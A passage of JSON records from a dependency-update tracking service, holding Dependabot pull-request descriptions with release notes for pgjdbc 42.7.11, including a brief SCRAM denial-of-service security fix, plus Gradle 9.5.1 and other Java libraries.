href=\"https://github.com/dequelabs/axe-core-maven-html/commit/08a29bbb03ec7abb78a47a2969104a6a6fbf02a3\"\u003e\u003ccode\u003e08a29bb\u003c/code\u003e\u003c/a\u003e chore: release v4.11.3 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/603\"\u003e#603\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/bad807af19dae69464edd14ba94419e2eb7d59d5\"\u003e\u003ccode\u003ebad807a\u003c/code\u003e\u003c/a\u003e chore: RC v4.11.3 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/600\"\u003e#600\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/18830a820d0607941685bec6b22efcf5cea6e67f\"\u003e\u003ccode\u003e18830a8\u003c/code\u003e\u003c/a\u003e Merge branch 'release' into release-2026-04-29\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/d52a30f3ef29be14e3519265dd13f01cb6105b4e\"\u003e\u003ccode\u003ed52a30f\u003c/code\u003e\u003c/a\u003e chore: RC v4.11.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/98e2472b67e0255ed6b1fb15bb65f17b5db77050\"\u003e\u003ccode\u003e98e2472\u003c/code\u003e\u003c/a\u003e fix: Update axe-core to v4.11.4 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/598\"\u003e#598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/eceefb47696088328c2b96b786c228976ae952af\"\u003e\u003ccode\u003eeceefb4\u003c/code\u003e\u003c/a\u003e ci: change secret for updating axe-core to use pat (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/599\"\u003e#599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/695dbd9c2f4b11c52d67e5264664a37042233c90\"\u003e\u003ccode\u003e695dbd9\u003c/code\u003e\u003c/a\u003e chore: add create-release workflow (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/596\"\u003e#596\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/6f8c7818ecd096bdc40f4c42aedd7b0f4ed5dda9\"\u003e\u003ccode\u003e6f8c781\u003c/code\u003e\u003c/a\u003e chore: merge master into develop (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/595\"\u003e#595\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/eeebc9327b8b8f8660c90639d5269cd2d85e3f45\"\u003e\u003ccode\u003eeeebc93\u003c/code\u003e\u003c/a\u003e chore: Release 4.11.2 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/594\"\u003e#594\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/e0563005d6537d1b2cd794ec743eddc98521526c\"\u003e\u003ccode\u003ee056300\u003c/code\u003e\u003c/a\u003e chore: RC v4.11.2 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/592\"\u003e#592\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/compare/v4.11.1...v4.11.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.core:jackson-databind` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/FasterXML/jackson/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.postgresql:postgresql` from 42.7.10 to 42.7.11\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/releases\"\u003eorg.postgresql:postgresql's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev42.7.11\u003c/h2\u003e\n\u003ch2\u003eSecurity\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChanges\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Add sources and javadocs to shaded published lib generation \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4043\"\u003e#4043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate Changelog and website for release of 42.7.11 \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix scram fix location in changelog and update published artifact developer list \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4041\"\u003e#4041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRestrict test with scram_iterations to v16+ and release notes \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4040\"\u003e#4040\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update ubuntu:24.04 docker digest to 84e77de \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4017\"\u003e#4017\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add tests for QueryExecutor#getTransactionState \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4006\"\u003e#4006\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update actions/create-github-app-token action to v2.2.2 \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3983\"\u003e#3983\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky CopyBothResponseTest by using WAL flush LSN \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3979\"\u003e#3979\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky replication restart tests by waiting for confirmed_flush_lsn \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3975\"\u003e#3975\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: fix flaky LogicalReplicationStatusTest by polling pg_stat_replication \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3974\"\u003e#3974\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace Appveyor with ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: move test table creation from \u003ca href=\"https://github.com/BeforeEach\"\u003e\u003ccode\u003e@​BeforeEach\u003c/code\u003e\u003c/a\u003e to \u003ca href=\"https://github.com/BeforeAll\"\u003e\u003ccode\u003e@​BeforeAll\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3967\"\u003e#3967\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReturn jsonb as PGObject fixes Issue \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3926\"\u003e#3926\u003c/a\u003e \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate docker scripts  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3958\"\u003e#3958\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eimplement require_auth, this is pretty much how libpq does this.  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edocs: add SCRAM authentication test setup section to TESTING.md \u003ca href=\"https://github.com/emmaeng700\"\u003e\u003ccode\u003e@​emmaeng700\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3945\"\u003e#3945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd RequireServerVersion annotation for tests \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3939\"\u003e#3939\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e) \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3960\"\u003e#3960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🧰 Maintenance\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003estyle: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4035\"\u003e#4035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use \u003ccode\u003e@​vlsi/github-actions-random-matrix\u003c/code\u003e npm package \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4008\"\u003e#4008\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use tag names for pinning github actions, pin ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4007\"\u003e#4007\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: bump errorprone to 2.48.0 \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4005\"\u003e#4005\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add \u003ca href=\"https://github.com/DisableLogger\"\u003e\u003ccode\u003e@​DisableLogger\u003c/code\u003e\u003c/a\u003e annotation to suppress expected log warnings in tests \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3971\"\u003e#3971\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: suppress deprecations in test code to reduce build verbosity \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3972\"\u003e#3972\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace log warning in ConnectionFactory.closeStream with Throwable.addSuppressed \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3970\"\u003e#3970\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use greedy pairwise coverage for CI matrix generation \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3965\"\u003e#3965\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use full version tags in GitHub Actions comments \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3963\"\u003e#3963\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e⬆️ Dependencies\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/blob/master/CHANGELOG.md\"\u003eorg.postgresql:postgresql's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[42.7.11] (2026-04-28)\u003c/h2\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efeat: implement require_auth connection property, aligning with libpq behavior [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3895\"\u003epgjdbc/pgjdbc#3895\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: replace Appveyor CI with ikalnytskyi/action-setup-postgres [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3966\"\u003epgjdbc/pgjdbc#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: upgrade Gradle to v9 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3978\"\u003e#3978\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3978\"\u003epgjdbc/pgjdbc#3978\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3728\"\u003epgjdbc/pgjdbc#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3996\"\u003epgjdbc/pgjdbc#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3973\"\u003epgjdbc/pgjdbc#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: make sure the driver honours connectTimeout when retrying the connection [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/...\n\n_Description has been truncated_","html_url":"https://github.com/ministryofjustice/laa-amend-a-claim/pull/413","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/ministryofjustice%2Flaa-amend-a-claim/issues/413","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/413/packages"}},{"old_version":"42.7.10","new_version":"42.7.11","update_type":"patch","path":null,"pr_created_at":"2026-05-12T21:47:37.000Z","version_change":"42.7.10 → 42.7.11","issue":{"uuid":"4432859869","node_id":"PR_kwDOMgbniM7a3JXw","number":209,"state":"closed","title":"chore(deps): bump the minor-patch-deps group across 1 directory with 8 updates","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":true,"comments_count":1,"pull_request":true,"closed_at":"2026-05-20T01:33:34.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-12T21:47:37.000Z","updated_at":"2026-05-20T01:33:44.000Z","time_to_close":618357,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"minor-patch-deps","update_count":8,"packages":[{"name":"gradle-wrapper","old_version":"9.5.0","new_version":"9.5.1","repository_url":"https://github.com/gradle/gradle"},{"name":"io.github.oshai:kotlin-logging-jvm","old_version":"8.0.01","new_version":"8.0.02","repository_url":"https://github.com/oshai/kotlin-logging"},{"name":"org.jetbrains.kotlinx:kotlinx-datetime","old_version":"0.7.1","new_version":"0.8.0","repository_url":"https://github.com/Kotlin/kotlinx-datetime"},{"name":"org.slf4j:slf4j-api","old_version":"2.0.17","new_version":"2.0.18"},{"name":"org.slf4j:slf4j-simple","old_version":"2.0.17","new_version":"2.0.18"},{"name":"io.github.z4kn4fein:semver","old_version":"3.0.0","new_version":"3.1.0","repository_url":"https://github.com/z4kn4fein/kotlin-semver"},{"name":"org.jetbrains.kotlinx:kotlinx-coroutines-test","old_version":"1.10.2","new_version":"1.11.0","repository_url":"https://github.com/Kotlin/kotlinx.coroutines"},{"name":"org.postgresql:postgresql","old_version":"42.7.10","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"}],"path":null,"ecosystem":"maven"},"body":"Bumps the minor-patch-deps group with 8 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [gradle-wrapper](https://github.com/gradle/gradle) | `9.5.0` | `9.5.1` |\n| [io.github.oshai:kotlin-logging-jvm](https://github.com/oshai/kotlin-logging) | `8.0.01` | `8.0.02` |\n| [org.jetbrains.kotlinx:kotlinx-datetime](https://github.com/Kotlin/kotlinx-datetime) | `0.7.1` | `0.8.0` |\n| org.slf4j:slf4j-api | `2.0.17` | `2.0.18` |\n| org.slf4j:slf4j-simple | `2.0.17` | `2.0.18` |\n| [io.github.z4kn4fein:semver](https://github.com/z4kn4fein/kotlin-semver) | `3.0.0` | `3.1.0` |\n| [org.jetbrains.kotlinx:kotlinx-coroutines-test](https://github.com/Kotlin/kotlinx.coroutines) | `1.10.2` | `1.11.0` |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.10` | `42.7.11` |\n\n\nUpdates `gradle-wrapper` from 9.5.0 to 9.5.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/gradle/gradle/releases\"\u003egradle-wrapper's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e9.5.1\u003c/h2\u003e\n\u003cp\u003eThe Gradle team is excited to announce Gradle 9.5.1.\u003c/p\u003e\n\u003cp\u003eHere are the highlights of this release:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eTask provenance in reports and failure messages\u003c/li\u003e\n\u003cli\u003eType-safe accessors for precompiled Kotlin Settings plugins\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003ca href=\"https://docs.gradle.org/9.5.1/release-notes.html\"\u003eRead the Release Notes\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eWe would like to thank the following community members for their contributions to this release of Gradle:\n\u003ca href=\"https://github.com/atm1020\"\u003eatm1020\u003c/a\u003e,\n\u003ca href=\"https://github.com/mataha\"\u003emataha\u003c/a\u003e,\n\u003ca href=\"https://github.com/aSemy\"\u003eAdam\u003c/a\u003e,\n\u003ca href=\"https://github.com/kelemen\"\u003eAttila Kelemen\u003c/a\u003e,\n\u003ca href=\"https://github.com/britter\"\u003eBenedikt Ritter\u003c/a\u003e,\n\u003ca href=\"https://github.com/Vampire\"\u003eBjörn Kautler\u003c/a\u003e,\n\u003ca href=\"https://github.com/budindepunk\"\u003eCaro Silva Rode\u003c/a\u003e,\n\u003ca href=\"https://github.com/chanani\"\u003eCHANHAN\u003c/a\u003e,\n\u003ca href=\"https://github.com/DmitryNez\"\u003eDmitry Nezavitin\u003c/a\u003e,\n\u003ca href=\"https://github.com/Juneezee\"\u003eEng Zer Jun\u003c/a\u003e,\n\u003ca href=\"https://github.com/KugelLibelle\"\u003eKugelLibelle\u003c/a\u003e,\n\u003ca href=\"https://github.com/vmadalin\"\u003eMadalin Valceleanu\u003c/a\u003e,\n\u003ca href=\"https://github.com/quijote\"\u003eMarkus Gaisbauer\u003c/a\u003e,\n\u003ca href=\"https://github.com/koppor\"\u003eOliver Kopp\u003c/a\u003e,\n\u003ca href=\"https://github.com/hfhbd\"\u003ePhilip Wedemann\u003c/a\u003e,\n\u003ca href=\"https://github.com/ploober\"\u003eploober\u003c/a\u003e,\n\u003ca href=\"https://github.com/rpalcolea\"\u003eRoberto Perez Alcolea\u003c/a\u003e,\n\u003ca href=\"https://github.com/R0h1tAnand\"\u003eRohit Anand\u003c/a\u003e,\n\u003ca href=\"https://github.com/Suvrat1629\"\u003eSuvrat Acharya\u003c/a\u003e,\n\u003ca href=\"https://github.com/usv240\"\u003eUjwal Suresh Vanjare\u003c/a\u003e,\n\u003ca href=\"https://github.com/urdak\"\u003eVictor Merkulov\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eUpgrade instructions\u003c/h2\u003e\n\u003cp\u003eSwitch your build to use Gradle 9.5.1 by updating your wrapper:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e./gradlew wrapper --gradle-version=9.5.1 \u0026amp;\u0026amp; ./gradlew wrapper\r\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eSee the Gradle \u003ca href=\"https://docs.gradle.org/9.5.1/userguide/upgrading_version_9.html\"\u003e9.x upgrade guide\u003c/a\u003e to learn about deprecations, breaking changes and other considerations when upgrading.\u003c/p\u003e\n\u003cp\u003eFor Java, Groovy, Kotlin and Android compatibility, see the \u003ca href=\"https://docs.gradle.org/9.5.1/userguide/compatibility.html\"\u003efull compatibility notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eReporting problems\u003c/h2\u003e\n\u003cp\u003eIf you find a problem with this release, please file a bug on \u003ca href=\"https://github.com/gradle/gradle/issues\"\u003eGitHub Issues\u003c/a\u003e adhering to our issue guidelines.\nIf you're not sure you're encountering a bug, please use the \u003ca href=\"https://discuss.gradle.org/c/help-discuss\"\u003eforum\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eWe hope you will build happiness with Gradle, and we look forward to your feedback via \u003ca href=\"https://twitter.com/gradle\"\u003eTwitter\u003c/a\u003e or on \u003ca href=\"https://github.com/gradle\"\u003eGitHub\u003c/a\u003e.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca 